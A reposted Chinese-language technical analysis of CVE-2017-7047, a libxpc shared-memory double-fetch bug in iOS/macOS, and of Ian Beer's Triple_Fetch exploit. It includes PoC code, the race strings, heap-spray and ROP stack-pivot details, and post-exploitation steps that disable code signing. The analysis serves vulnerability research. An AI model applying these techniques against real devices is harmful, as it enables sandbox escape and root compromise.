CVE-2017-7047 Triple_Fetch 漏洞與利用技術分析

Dacia31R 7年前發布 | 20K 次閱讀 iOS開發 共享內存 MacOS 移動開發

昨天 Google Project Zero 的 Ian Beer 發布了 CVE-2017-7047 的漏洞細節,以及一個叫 Triple_Fetch 的漏洞利用 app,可以拿到所有 10.3.2 及以下版本的用戶態Root+無沙盒權限,昨天我看了一下這個漏洞和利用的細節,總得來說整個利用思路還是非常精妙的。我決定寫這篇文章,旨在盡可能地記錄下 Triple_Fetch 以及 CVE-2017-7047 的每一個精彩的細節。

CVE-2017-7047 漏洞成因與細節

這是個 libxpc 底層實現的漏洞。我們知道,其實 libxpc 是在 macOS/iOS 的 mach_msg 基礎上做了一層封裝,使得以前一些因為使用或開發 MIG 接口的過程中因為對 MIG 接口細節不熟悉導致的漏洞變得越來越少。有關 MIG 相關的內容可以參考 我以前的文章 ,這里不再詳細敘述。

XPC 自己實現了一套類似于 CFObject/OSObject 形式的對象庫,對應的數據結構為 OS_xpc_xxx (例如 OS_xpc_dictionary , OS_xpc_data 等),當客戶端通過XPC發送數據時, _xpc_serializer_pack 函數會被調用,將要發送的 OS_xpc_xxx 對象序列化成 binary 形式。注意到,如果發送的數據中存在 OS_xpc_data 對象(可以是作為 OS xpc array 或者 OS xpc dictionary 等容器類的元素)時,對應的 serialize 函數 _xpc_data_serialize 會進行判斷:

__int64 __fastcall _xpc_data_serialize(__int64 a1, __int64 a2)  
{
...
  if ( *(_QWORD *)(a1 + 48) > 0x4000uLL ) //這里判斷data的長度
  {
    v3 = dispatch_data_make_memory_entry(*(_QWORD *)(a1 + 32)); //獲取這塊內存的send right
    ...
  }
...
}

當 OS_xpc_data 對象的數據大于 0x4000 時, _xpc_data_serialize 函數會調用 dispatch_data_make_memory_entry , dispatch_data_make_memory_entry 調用 mach_make_memory_entry_64 。 mach_make_memory_entry_64 返回給用戶一個 mem_entry_name_port 類型的 send right, 用戶可以緊接著調用 mach_vm_map 將這個 send right 對應的 memory 映射到自己進程的地址空間。也就是說,對大于 0x4000 的 OS_xpc_data 數據,XPC 在傳輸的時候會避免整塊內存的傳輸,而是通過傳 port 的方式讓接收端拿到這個 memory 的 send right,接收端接著通過 mach_vm_map 的方式映射這塊內存。接收端反序列化 OS_xpc_data 的相關代碼如下:

__int64 __fastcall _xpc_data_deserialize(__int64 a1)  
{
  if ( _xpc_data_get_wire_value(a1, (__int64 *)&v8, &v7) ) //獲取data內容
  {
    ...
  }
  return v1;
}
char __fastcall _xpc_data_get_wire_value(__int64 a1, _QWORD *a2, mach_vm_size_t *a3)  
{
...
  if ( v6 )
  {
    v7 = *v6;
    if ( v7 > 0x4000 )//數據大于0x4000時,則獲取mem_entry_name_port來映射內存
    {
      v8 = 0;
      name = 0;
      v17 = 0;
      v19 = (unsigned int *)_xpc_serializer_read(a1, 0LL, &name, &v17); //獲取mem_entry_name_port send right
      if ( name + 1 >= 2 )
      {
        v9 = v17;
        if ( v17 == 17 )
        {
          v10 = _xpc_vm_map_memory_entry(name, v7, (mach_vm_address_t *)&v19); //調用_xpc_vm_map_memory_entry映射內存
          ...
        }
      }
...
}

之后就是最關鍵的 _xpc_vm_map_memory_entry 邏輯了,可以看到,在 macOS 10.12.5 或者 iOS 10.3.2 的實現中,調用 mach_vm_map 的相關參數如下:

kern_return_t __fastcall _xpc_vm_map_memory_entry(mem_entry_name_port_t object, mach_vm_size_t size, _QWORD *a3)  
{
  result = mach_vm_map(
             *(_DWORD *)mach_task_self__ptr,
             (mach_vm_address_t *)&v5,
             size,
             0LL,
             1,
             object,
             0LL, 
             0, // Booleean copy
             0x43,
             0x43,
             2u);
}

mach_vm_map 的官方參數定義如下:

kern_return_t mach_vm_map(vm_map_t target_task, mach_vm_address_t *address, mach_vm_size_t size, mach_vm_offset_t mask, int flags, mem_entry_name_port_t object, memory_object_offset_t offset, boolean_t copy, vm_prot_t cur_protection, vm_prot_t max_protection, vm_inherit_t inheritance);

值得注意的是最后第四個參數 boolean_t copy, 如果是 0 代表映射的內存與原始進程的內存共享一個物理頁,如果是 1 則是分配新的物理頁。

在 _xpc_data_deserialize 的處理邏輯中,內存通過共享物理頁的方式(copy = 0)來映射,這樣在客戶端進程中攻擊者可以隨意修改 data 的內容從而實時體現到接收端進程中。雖然在絕大多數情況下,這樣的修改不會造成嚴重影響,因為接收端本身就應該假設從客戶端傳入的 data 是任意可控的。但是如果這片數據中存在復雜結構(例如length等field),那么在處理這片數據時就可能產生 double fetch 等條件競爭問題。而 Ian Beer 正是找到了一處”處理這個data時想當然認為這塊內存是固定不變的錯誤”,巧妙地實現了任意代碼執行,這部分后面詳細敘述,我們先來看看漏洞的修復。

CVE-2017-7047 漏洞修復

這個漏洞的修復比較直觀,在 _xpc_vm_map_memory_entry 函數中多加了個參數,指定 vm_map 是以共享物理頁還是拷貝物理頁的方式來映射:

char __fastcall _xpc_data_get_wire_value(__int64 a1, _QWORD *a2, mach_vm_size_t *a3)  
{
...
    if ( v7 > 0x4000 )
    {
      v8 = 0;
      name = 0;
      v17 = 0;
      v19 = (unsigned int *)_xpc_serializer_read(a1, 0LL, &name, &v17);
      if ( name + 1 >= 2 )
      {
        v9 = v17;
        if ( v17 == 17 )
        {
          v10 = _xpc_vm_map_memory_entry(name, v7, (mach_vm_address_t *)&v19, 0);//引入第四個參數,指定為0
        }
      }
    }
...
}
kern_return_t __fastcall _xpc_vm_map_memory_entry(mem_entry_name_port_t object, mach_vm_size_t size, mach_vm_address_t *a3, unsigned __int8 a4)  
{
...
  result = mach_vm_map(*(_DWORD *)mach_task_self__ptr, 
                          &address, size, 0LL, 1, object, 0LL, 
                          a4 ^ 1, // 異或1后,變為1
                          0x43, 
                          0x43, 
                          2u);
...
}

可以看到,這里把映射方式改成拷貝物理頁后,問題得以解決。

Triple_Fetch利用詳解

如果看到這里你還不覺得累,那么下面的內容可能就是本文最精彩的內容了(當然,估計會累)。

一些基本知識

我們現在已經知道,這是個 XPC 底層實現的漏洞,但具體能否利用,要看特定 XPC 服務的具體實現,而絕大多數 XPC 服務僅僅將涉及 OS_xpc_data 對象的 buffer 作為普通數據內容來處理,即使在處理的時候 buffer 內容發生變化,也不會造成大問題。而即便找到有問題的案例,也僅僅是影響部分 XPC 服務。把一個通用型機制漏洞變成一個只影響部分 XPC 服務的漏洞利用,可能不是一種好策略。

因此,Ian Beer 找到了一個通用利用點,那就是 NSXPC。NSXPC 是比 XPC 更上層的一種進程間通信的實現,主要為 Objective-c 提供進程間通信的接口,它的底層基于 XPC 框架。我們先來看看 Ian Beer 提供的漏洞 poc:

int main() {  
  NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.wifi.sharekit" options:NSXPCConnectionPrivileged];
  [conn setRemoteObjectInterface: [NSXPCInterface interfaceWithProtocol: @protocol(MyProtocol)]];
  [conn resume];

  id obj = [conn remoteObjectProxyWithErrorHandler:^(NSError *err) {
    NSLog(@"got an error: %@", err);
  }];
  [obj retain];
  NSLog(@"obj: %@", obj);
  NSLog(@"conn: %@", conn);

  int size = 0x10000;
  char* long_cstring = malloc(size);
  memset(long_cstring, 'A', size-1);
  long_cstring[size-1] = 0;

  NSString* long_nsstring = [NSString stringWithCString:long_cstring encoding:NSASCIIStringEncoding];

  [obj cancelPendingRequestWithToken:long_nsstring reply:nil];
  gets(NULL);
  return 51;
}

代碼調用了 “com.apple.wifi.sharekit” 服務的 cancelPendingRequestWithToken 接口,其第一個參數為一個長度為 0x10000,內容全是 A 的 string,我們通過調試的方法來理一下調用這個 NSXPC 接口最終到底層 mach msg 的 message 結構,首先斷點到 mach msg:

(lldb) bt
  * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1
* frame #0: 0x00007fffba597760 libsystem_kernel.dylib`mach_msg
  frame #1: 0x00007fffba440feb libdispatch.dylib`_dispatch_mach_msg_send + 1195
  frame #2: 0x00007fffba441b55 libdispatch.dylib`_dispatch_mach_send_drain + 280
  frame #3: 0x00007fffba4582a9 libdispatch.dylib`_dispatch_mach_send_push_and_trydrain + 487
  frame #4: 0x00007fffba455804 libdispatch.dylib`_dispatch_mach_send_msg + 282
  frame #5: 0x00007fffba4558c3 libdispatch.dylib`dispatch_mach_send_with_result + 50
  frame #6: 0x00007fffba6c3256 libxpc.dylib`_xpc_connection_enqueue + 104
  frame #7: 0x00007fffba6c439d libxpc.dylib`xpc_connection_send_message + 89
  frame #8: 0x00007fffa66df821 Foundation`-[NSXPCConnection _sendInvocation:withProxy:remoteInterface:withErrorHandler:timeout:userInfo:] + 3899
  frame #9: 0x00007fffa66de8e0 Foundation`-[NSXPCConnection _sendInvocation:withProxy:remoteInterface:withErrorHandler:] + 32
  frame #10: 0x00007fffa4cbf54a CoreFoundation`___forwarding___ + 538
  frame #11: 0x00007fffa4cbf2a8 CoreFoundation`__forwarding_prep_0___ + 120
  frame #12: 0x0000000100000da4 nsxpc_client`main + 404
  frame #13: 0x00007fffba471235 libdyld.dylib`start + 1

觀察它的 message header 結構:

(lldb) x/10xg $rdi
    0x10010bb88: 0x0000006480110013 0x0000000000001303
    0x10010bb98: 0x100000000000150b 0x00001a0300000001
    0x10010bba8: 0x0011000000000000 0x0000000558504321
    0x10010bbb8: 0x0000002c0000f000 0x746f6f7200000002
    0x10010bbc8: 0x0000800000000000 0x786f727000034000

typedef    struct  
{
  mach_msg_bits_t    msgh_bits;
  mach_msg_size_t    msgh_size;
  mach_port_t        msgh_remote_port;
  mach_port_t        msgh_local_port;
  mach_port_name_t    msgh_voucher_port;
  mach_msg_id_t        msgh_id;
} mach_msg_header_t;

這里發送的是一個復雜消息,長度為 0x64。值得注意的是,所有 XPC 的 msgh id 都是固定的 0x10000000,這與 MIG 接口的根據 msgh id 號來作 dispatch 有所不同。由于這個消息用到了大于 0x4000 的 OS_xpc_data 數據,因此 message_header 后跟一個 mach_msg_body_t 結構,這里的值為1(偏移0x18的4字節),意味著之后跟了一個復雜消息,而偏移 0x1c 至 0x28 的內容是一個 mach_msg_port_descriptor_t 結構,其定義如下:

typedef struct  
{
  mach_port_t            name;
// Pad to 8 bytes everywhere except the K64 kernel where mach_port_t is 8 bytes
  mach_msg_size_t        pad1;
  unsigned int            pad2 : 16;
  mach_msg_type_name_t        disposition : 8;
  mach_msg_descriptor_type_t    type : 8;
} mach_msg_port_descriptor_t;

偏移 0x1c 處的 0x1a03 是一個 mem_entry_name_port ,也就是 0x10000 的 ’A’ buffer 對應的 port。

從 0x28 開始的 8 字節為真正的 xpc 消息的頭部,最新的 mac/iOS 上,這個頭信息是固定的: 0x0000000558504321,也就是字符串 “!CPX”(XPC!的倒序),以及版本號 0x5,接下來跟的是一個序列化過的 OS_xpc_dictionary 結構:

(lldb) x/10xg 0x10010bbb8
0x10010bbb8: 0x0000002c0000f000 0x746f6f7200000002  
0x10010bbc8: 0x0000800000000000 0x786f727000034000  
0x10010bbd8: 0x000000006d756e79 0x0000000100004000

如果翻譯成 Human Readable 的格式,應該是這樣:

<dict>  
    <key>root</key>
    <data>[the data of that mem_entry_name_port]</data>
    <key>proxynum</key>
    <integer>1</integer>
</dict>

這里可以看到,這個 serialize 后的 OS xpc data 并沒有引用對應的 send right 信息,只是標記它是個 DATA(0x8000),以及它的長度 0x34000。而事實上,在 deserialize 的時候,程序會自動尋找 mach_msg_body_t 中指定的復雜消息個數,并且順序去尋找后邊緊跟的 mach_msg_port_descriptor_t 結構,而序列化過后的 XPC 消息中出現的 OS_xpc_data 與之前填入的 mach_msg_port_descriptor_t 順序是一致并且一一對應的。用一個簡單明了的圖來說明,就是這樣:

NSXPC at mach_msg view

 

看到這里,我們對 NSXPC 所對應的底層 mach_msg 結構已經有所了解。但是,這里還遺留了個問題:如果所有 XPC 的 msgh_id 都是 0x10000000,那么接收端如何知道我調用的是哪個接口呢?其中的奧秘,就在這個 XPC Dictionary 中的 root 字段,我們還沒有看過這個字段對應的 mem_entry_name_port 對應的 buffer 內容是啥呢,找到這個 buffer 后,他大概就是這個樣子:

(lldb) x/100xg 0x0000000100440000
0x100440000: 0x36317473696c7062 0x00000000020070d0  
0x100440010: 0x70d000766e697400 0x7700000000000200  
0x100440020: 0x7d007373616c6324 0x61636f766e49534e  
0x100440030: 0x797473006e6f6974 0x0040403a40767600  
0x100440040: 0x6325117f00657373 0x6e65506c65636e61  
0x100440050: 0x75716552676e6964 0x5468746957747365  
0x100440060: 0x7065723a6e656b6f 0xff126fe0003a796c  
0x100440070: 0x41004100410041ff 0x4100410041004100  
0x100440080: 0x4100410041004100 0x4100410041004100  
0x100440090: 0x4100410041004100 0x4100410041004100  
0x1004400a0: 0x4100410041004100 0x4100410041004100  
0x1004400b0: 0x4100410041004100 0x4100410041004100  
0x1004400c0: 0x4100410041004100 0x4100410041004100  
0x1004400d0: 0x4100410041004100 0x4100410041004100  
0x1004400e0: 0x4100410041004100 0x4100410041004100  
0x1004400f0: 0x4100410041004100 0x4100410041004100  
0x100440100: 0x4100410041004100 0x4100410041004100  
0x100440110: 0x4100410041004100 0x4100410041004100  
(lldb) x/1s 0x0000000100440000
0x100440000: "bplist16\xffffffd0p"

這是個 bplist16 序列化格式的 buffer,是 NSXPC 專用的,和底層 XPC 的序列化格式是有區別的。這個 buffer 被做成 mem_entry_name_port 傳輸給接收端,而接收端直接用共享內存的方式獲得這個 buffer,并進行反序列化操作,這就創造了一個絕佳的利用點,當然這是后話。我們先看一下這個 buffer 的二進制內容:

bplist sample to call cancelPendingRequestWithToken

 

這個 bplist16 格式的解析比較復雜,而且 Ian Beer 的實現里也只是覆蓋了部分格式,大致轉換成 Human Readable 的形式就是這樣:

<dict>  
    <key>$class</key>
    <string>NSInvocation</string>
    <key>ty</key>
    <string>v@:@@</string>
    <key>se</key>
    <string>cancelPendingRequestWithToken:reply:</string>
    AAAAAAAAAA
</dict>

這里的 ty 字段是這個 objc 接口的函數原型,se 是 selector 名稱,也就是接口名字,后面跟的 AAAA 就是他的參數內容。接收端的 NSXPC 接口正是根據這個 bplist16 中的內容來分發到正確的接口并給予正確的接口參數的。

Ian Beer 提供的 PoC 是跑在 macOS 下的,因此他直接調用了 NSXPC 的接口,然后通過

DYLD_INSERT_LIBRARIES 注入的方式 hook 了 mach_make_memory_entry_64 函數,這樣就能獲取這個 send right 并且進行 vm_map。但是在 iOS 上(特別是沒有越獄的 iOS)并不能做這樣的 hook,如果從 NSXPC 接口入手我們沒有辦法獲得那塊共享內存(其實是有辦法的:),但不是很優雅),所以 Ian Beer 在 Triple_Fetch 利用程序中自己實現了一套 XPC 與 NSXPC 對象封裝、序列化、反序列化的庫,自己組包并調用 mach_msg 與 NSXPC 的服務端通信,實現了利用。

Triple_Fetch 利用 - 如何實現控 PC

Ian Beer 對 NSXPC 的這個 bplist16 的 dictionary 中的 ty 字段做了文章,這個字段指定了 objc 接口的函數原型,NSXPC 底層會去解析這個 string,如果@后跟了個帶冒號的字符串,例如:@”mfz”,則 CoreFoundation 中的 __NSMS 函數會被調用:

10  com.apple.CoreFoundation          0x00007fffb8794d10 __NSMS1 + 3344  
11  com.apple.CoreFoundation          0x00007fffb8793552 +[NSMethodSignature signatureWithObjCTypes:] + 226  
12  com.apple.Foundation              0x00007fffba1bb341 -[NSXPCDecoder decodeInvocation] + 330  
13  com.apple.Foundation              0x00007fffba46cf75 _decodeObject + 1243  
14  com.apple.Foundation              0x00007fffba1ba4c7 _decodeObjectAfterSettingWhitelistForKey + 128  
15  com.apple.Foundation              0x00007fffba1ba40d -[NSXPCDecoder decodeObjectOfClass:forKey:] + 129  
16  com.apple.Foundation              0x00007fffba1c6c87 -[NSXPCConnection _decodeAndInvokeMessageWithData:] + 326  
17  com.apple.Foundation              0x00007fffba1c6a72 message_handler + 685  
18  libxpc.dylib                      0x00007fffce196f96 _xpc_connection_call_event_handler + 35  
19  libxpc.dylib                      0x00007fffce19595f _xpc_connection_mach_event + 1707  
20  libdispatch.dylib                 0x00007fffcdf13726 _dispatch_client_callout4 + 9  
21  libdispatch.dylib                 0x00007fffcdf13999 _dispatch_mach_msg_invoke + 414  
22  libdispatch.dylib                 0x00007fffcdf237db _dispatch_queue_serial_drain + 443  
23  libdispatch.dylib                 0x00007fffcdf12497 _dispatch_mach_invoke + 868  
24  libdispatch.dylib                 0x00007fffcdf237db _dispatch_queue_serial_drain + 443  
25  libdispatch.dylib                 0x00007fffcdf16306 _dispatch_queue_invoke + 1046  
26  libdispatch.dylib                 0x00007fffcdf2424c _dispatch_root_queue_drain_deferred_item + 284  
27  libdispatch.dylib                 0x00007fffcdf2727a _dispatch_kevent_worker_thread + 929  
28  libsystem_pthread.dylib           0x00007fffce15c47b _pthread_wqthread + 1004  
29  libsystem_pthread.dylib           0x00007fffce15c07d start_wqthread + 13

這個函數的第一個參數指向 bplist16 共享內存偏移到 ty 字段@開始的地方,該函數負責解析后面的字串,關鍵邏輯如下:

_BYTE *__fastcall __NSMS1(__int64 *a1, __int64 a2, char a3)  
{

  v6 = __NSGetSizeAndAlignment(*a1);// A. 獲取這個@"xxxxx...." string的長度
  buffer = calloc(1uLL, v6 + 42 - *a1); //根據長度分配空間
  v9 = buffer + 37;
  while ( 2 ) //重新掃描字符串
  {
    v150 = v7 + 1;
    v120 = *v7;
    switch ( *v7 )
    {
      case 0x23:
      ...
      case 0x2A:
      ...
      case 0x40: //遇到'@'

        if ( v20 == 34 ) //下一字節是'"'則開始掃描下一個冒號
        {
        ...
            while ( v56 != 34 ) //B. 掃描字符串,找到第二個冒號
            {
              v56 = (v57++)[1]; 
              if ( !v56 )        //中間不得有null字符
                goto LABEL_ERROR;
            }
            if ( v57 )
            {
                  v109 = v150 + 1;
                  do 
                  {
                    *v9++ = v55;
                    v110 = v109;
                    if ( v109 >= v57 )
                      break;
                    v55 = *v109++;
                  }
                  while ( v55 != 60 ); //C. 拷貝字符串@"xxxxx...."至buffer
                }

Ian Beer 構造的初始字符串是 @”mfz”AAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00 , 其中 mfz 字串是運行時隨機生成的3個隨機字母,這是為了避免 Foundation 對已經出現過的字符串進行 cache 而不分配新內存(因為利用需要多次觸發嘗試)。

  1. 在 A 處,調用 __NSGetSizeAndAlignment 得到的長度是6(因為@”mfz”長度為6),因此 calloc 分配的內存長度是48(42 + 6)。而 buffer 的前 37 字節用于存儲 metadata,所以真正的字符串會拷貝在 buffer+37 的地方。

  2. 在計算并分配好“合理“長度的buffer后, __NSMS1 函數在 B 處重新掃描這個字符串,找到第二個冒號的位置(正常情況下,也就是@”mfz”的第二個冒號位置),但需要注意,在第二個冒號出現之前,不能有 null string

  3. 在C處,程序根據剛才計算的“第二個冒號”的位置,開始拷貝字串到 buffer+37 位置。

Ian Beer通過在客戶端app操作共享內存,改變 @”mfz”AAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00 的某幾字節,構造出一個絕妙的 Triple_Fetch 的狀態,使得:

  1. 在 A 處計算長度時,字符串是 @”mfz”AAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00 ,因此 calloc 了 48 字節(6+42)

  2. 在 B 處,字符串變為 @”mfzAAAAAA\x20\x40\x20\x20\x01\x41\x41\x41”\x00 , 這樣第二個冒號到了倒數第二個字節的位置(v57的位置)

  3. 在 C 處,字符串變為 @”mfzAAAAAA\x20\x40\x20\x20\x01\x00\x00\x00”\x00 ,程序將整個 @”mfzAAAAAA\x20\x40\x20\x20\x01\x00\x00\x00” 拷貝到 buffer+37 位置

如果只是要觸發堆溢出,那1和2構造的 double fetch 已經足夠,但如果要控 PC,Ian Beer 選擇的是覆蓋 buffer 后面精心分布的 OS_xpc_uuid 的對象,該對象大小恰巧也是48字節,并且其前8字節為 obj-c 的 isa (類似c++的 vptr 指針),并且其某些字段是可控的( uuid string 部分),通過覆蓋這個指針,使其指向一段spray過的 gadget buffer 進行 ROP,完成任意代碼執行。但由于 iOS 下 heap 分配的地址高4位是1,所以 \x20\x40\x20\x20\x01\x41\x41\x41 不可能是個有效的 heap 地址,因此我們必須加上狀態3,用 triple fetch 的方式實現代碼執行。

下圖展示了溢出時的內存分布:

overflow to OS_xpc_uuid

 

在 NSXPC 消息處理完畢后,這些布局的 OS_xpc_uuid 就會被釋放,因為其 isa 指針已被覆蓋,并且新的指針 0x120204020 指向了可控數據,在執行 xpc_release(uuid) 的時候就能成功控制PC。

布局與堆噴射

布局有兩個因素需要考慮,其一是需要在特定內存 0x120204020 地址上填入 rop gadget,其二是需要在 0x30 大小的 block 上噴一些 OS_xpc_uuid 對象,這樣當觸發漏洞 calloc(1,48) 的時候,讓分配的對象后面緊跟一個 OS_xpc_uuid 對象。

第一點 Ian Beer 是通過在發送的 XPC message 里加入了 200 個 “heap_sprayXXX” 的key,他們的 value 各自對應一個 OS_xpc_data ,指向 0x4000 * 0x200 的大內存所對應的 send right,這塊大內存就是 ROP gadget。

而第二點是通過在 XPC message 里加入 0x1000 個 OS_xpc_uuid ,為了創造一些 hole 放入 freelist 中,使得我們的 calloc(1,48) 能夠占入, Ian Beer 在 add_heap_groom_to_dictionary 函數中采用了一些技巧,比如間隔插入一些大對象等,但我個人覺得這里的 groom 并不是很有必要,因為我們不追求一次觸發就利用成功(事實也是如此),每次觸發失敗后當 OS_xpc_uuid 釋放后,就會天然地產生很多 0x30 block 上的 free element,下一次觸發漏洞時就比較容易滿足理想的堆分布狀態。

ROP與代碼執行

當接收端處理完消息后 xpc_release(uuid) 就會被觸發,而我們把其中一個 uuid 對象的 isa 替換后,我們就控制了 pc。 此事我們的 x0 寄存器指向 OS xpc uuid 對象,而這個對象的 0x18-0x28 的16字節是可控的。 Ian Beer 選擇了這么一段作為 stack_pivot 的前置工作:

(lldb) x/20i 0x000000018d6a0e24
    0x18d6a0e24: 0xf9401000   ldr    x0, [x0, #0x20]
    0x18d6a0e28: 0xf9400801   ldr    x1, [x0, #0x10]
    0x18d6a0e2c: 0xd61f0020   br     x1

這樣就完美地將 x0 指向了我們完全可控的 buffer 了。

ROP 如何獲取目標進程的 send right

由于 ROP 執行代碼比較不優雅,效率也低,Ian Beer 在客戶端發送 mach_msg 時,在 XPC message 的 dictionary 中額外加入了 0x1000 個 port,將其 spray 到接收端進程,由于 port_name 的值在分配的時候是有規律的,接收端在ROP的時候調用64次 mach_msg,remote_port 設置成從 0xb0003 開始,每次+4,而 reply_port 設置為自己進程的task port,消息id設置為 0x12344321。在這 64 次發送中,只要有一次send right port name 猜中,客戶端就可以拿著 port set 中的 receive right 嘗試接收消息,如果收到的消息 id 是 0x12344321 那客戶端拿到的 remote port 就是接收端進程的 task send right。

接收端進程的選擇

由于是通殺NSXPC的利用,只要是進程實現了NSXPC的服務,并且container沙盒允許調用,我們都可以實現對端進程的代碼執行。盡管如此,接收端進程的選擇還是至關重要的。簡單的來講,我們首選的服務進程當然是Root權限+無沙盒,并且服務以OnDemand的形式來啟動。這樣的服務即使我們攻擊失敗導致進程崩潰,用戶也不會有任何感覺,而且可以重復嘗試攻擊直到成功。

Ian Beer在這里選擇了coreauthd進程,還有一個重要的原因,是它可以通過調用processor set tasks來獲取系統任意進程的send right從而繞過進程必須有get-task-allow entitlement才能獲取其他進程send right的限制。而這個技巧Jonathan Levin在2015年已經詳細闡述,可以參考 這里

后期利用

在拿到 coreauthd 的 send right 后,Ian Beer 調用 thread_create_running 在 coreauthd 中起一個線程,調用 processor_set_tasks 來獲得系統所有進程的 send right。然后拿著 amfid 的 send right 用與 mach portal 同樣的姿勢干掉了代碼簽名,最后運行 debugserver 實現調試任意進程。

 

來自:http://paper.seebug.org/366/

 

 本文由用戶 Dacia31R 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!